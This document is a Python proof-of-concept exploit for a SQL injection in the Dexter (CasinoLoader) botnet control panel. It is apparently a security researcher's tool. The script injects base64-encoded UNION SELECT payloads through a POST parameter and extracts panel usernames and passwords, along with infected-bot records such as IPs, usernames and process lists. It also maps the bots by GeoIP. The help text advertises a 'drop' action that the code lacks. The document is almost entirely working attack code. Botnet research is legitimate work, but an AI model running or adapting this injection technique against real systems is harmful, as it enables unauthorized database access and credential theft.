Dexter (CasinoLoader) Panel – SQL Injection
# Exploit Title: Dexter (CasinoLoader) Panel SQLi # Date: Feb, 13, 2014 # Exploit Author: Brian Wallace (@botnet_hunter) # Version: CasinoLoader # Tested on: Windows 7, Ubuntu, Debian import pycurl import urllib import cStringIO import base64 import argparse import sys import string import pygeoip version = "0.1-http_bots-PoC" def PrintHelp(): global version print "usage: dexter.PoC.py [-h] [action] [gateway url]" print "" print "Dexter CasinoLoader BAMF PoC v" + version print "Exploiting CasinoLoader panels for information" print "By Brian Wallace (@botnet_hunter)" print "" print "arguments:" print " action Actions to be taken against the botnet (default: dump)" print " dump - Print configuration information obtained from source file" print " drop - Execute a command to make the bot scripts exit" print " source Path to non-obfuscated source code for the target bot (default: stdin)" print "" print("GPS:") print(" -m MaxMind Location Location of Maxmind database files (default .)") print "" print " -h, --help Print this message" print "" class DexterPanel: def __init__(self, gateway_url): self.gateway_url = gateway_url @staticmethod def _get_field(gateway, table, column, row): buf = cStringIO.StringIO() c = pycurl.Curl() c.setopt(c.URL, gateway) page = "' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + str(row) + " -- --" params = urllib.urlencode({'val': 'AA==', 'page': base64.b64encode(page)}) c.setopt(c.POSTFIELDS, params) c.setopt(c.HEADERFUNCTION, buf.write) c.perform() val = buf.getvalue() cookie = None for line in val.split('\n'): line = line.strip() if line.count('Set-Cookie:') > 0 and line.count("response") > 0: cookie = line cookie = cookie[cookie.find('=') + 1:] cookie = urllib.unquote(cookie) cookie = base64.b64decode(cookie) cookie = cookie[1:] cookie = cookie[:-2] break buf.close() return cookie def get_all_user_details(self): count = 0 users = [] while True: user = self._get_field(self.gateway_url, 'users', 'name', count) if user is None or user == "": break password = self._get_field(self.gateway_url, 'users', 'password', count) count += 1 users.append({'user': user, 'password': password}) return users def get_all_bot_details(self): count = 0 bots = [] while True: user = self._get_field(self.gateway_url, 'bots', 'RemoteIP', count) if user is None or user == "": break count += 1 bots.append({'RemoteIP': user, 'UID': self._get_field(self.gateway_url, 'bots', 'UID', count), 'Version': self._get_field(self.gateway_url, 'bots', 'Version', count), 'Username': self._get_field(self.gateway_url, 'bots', 'Username', count), 'Computername': self._get_field(self.gateway_url, 'bots', 'Computername', count), 'UserAgent': self._get_field(self.gateway_url, 'bots', 'UserAgent', count), 'OS': self._get_field(self.gateway_url, 'bots', 'OS', count), 'Architecture': self._get_field(self.gateway_url, 'bots', 'Architecture', count), 'Idle Time': self._get_field(self.gateway_url, 'bots', 'Idle Time', count), 'Process List': self._get_field(self.gateway_url, 'bots', 'Process List', count), 'LastVisit': self._get_field(self.gateway_url, 'bots', 'LastVisit', count), 'LastCommand': self._get_field(self.gateway_url, 'bots', 'LastCommand', count)}) return bots if __name__ == "__main__": parser = argparse.ArgumentParser(add_help=False) parser.add_argument('action', nargs='?', type=str, default="dump", help="Actions to be taken against pBots (default: dump)", choices=["dump", "graph"]) parser.add_argument('gateway', nargs='?', type=str, default=None, help="URL to Dexter bot gateway") parser.add_argument('-m', metavar='maxmind', type=str, nargs='?', default='./GeoLiteCity.dat') parser.add_argument('-h', '--help', default=False, required=False, action='store_true') args = parser.parse_args() if args.help or args.gateway is None: PrintHelp() sys.exit() if args.action == "dump": url = args.gateway dex = DexterPanel(url) print "User details: %s" % dex.get_all_user_details() print "Bot details: %s" % dex.get_all_bot_details() elif args.action == "graph": url = args.gateway dex = DexterPanel(url) bots = dex.get_all_bot_details() #load Maxmind sys.stderr.write('Loading MaxMind Database\n') gi = pygeoip.GeoIP(args.m) nodes = {} connections = [] nodes["C2"] = {"id": 0, "label": "C2", "mod": 0} highestnode = 1 #loop through all bots for bot in bots: ip = bot["RemoteIP"] geoip = gi.record_by_addr(ip) node = {"id": highestnode, "label": ip, "host": ip, "mod": 1} highestnode += 1 if geoip is not None: node['lat'] = geoip["latitude"] node['lng'] = geoip["longitude"] nodes[ip] = node connections.append([node['id'], 0]) print('<?xml version="1.0" encoding="UTF-8"?>') print('<gexf xmlns="http://www.gexf.net/1.2draft" version="1.2">') print(' <meta lastmodifieddate="2009-03-20">') print((' <creator>' + "bwall" + '</creator>')) print(' <description></description>') print(' </meta>') print(' <graph mode="static" defaultedgetype="directed">') print(' <attributes class="node" mode="static">') print(' <attribute id="modularity_class" title="Modularity Class" type="integer"></attribute>') print(' <attribute id="lat" title="lat" type="double"></attribute>') print(' <attribute id="lng" title="lng" type="double"></attribute>') print(' </attributes>') print(' <nodes>') for name, node in list(nodes.items()): if 'lat' in node: print((' <node id="' + str(node['id']) + '" label="' + node['label'] + '">')) print(' <attvalues>') print((' <attvalue for="modularity_class" value="' + str(node['mod']) + '"></attvalue>')) print(' <attvalue for="lat" value="' + str(node['lat']) + '"></attvalue>') print(' <attvalue for="lng" value="' + str(node['lng']) + '"></attvalue>') print(' </attvalues>') print(' </node>') else: print((' <node id="' + str(node['id']) + '" label="' + node['label'] + '">')) print(' <attvalues>') print((' <attvalue for="modularity_class" value="' + str(node['mod']) + '"></attvalue>')) print(' <attvalue for="lat" value="0"></attvalue>') print(' <attvalue for="lng" value="0"></attvalue>') print(' </attvalues>') print(' </node>') print(' </nodes>') print(' <edges>') count = 0 for node in connections: print((' <edge id="' + str(count) + '" source="' + str(node[0]) + '" target="' + str(node[1]) + '" />')) count += 1 print(' </edges>') print(' </graph>') print('</gexf>') |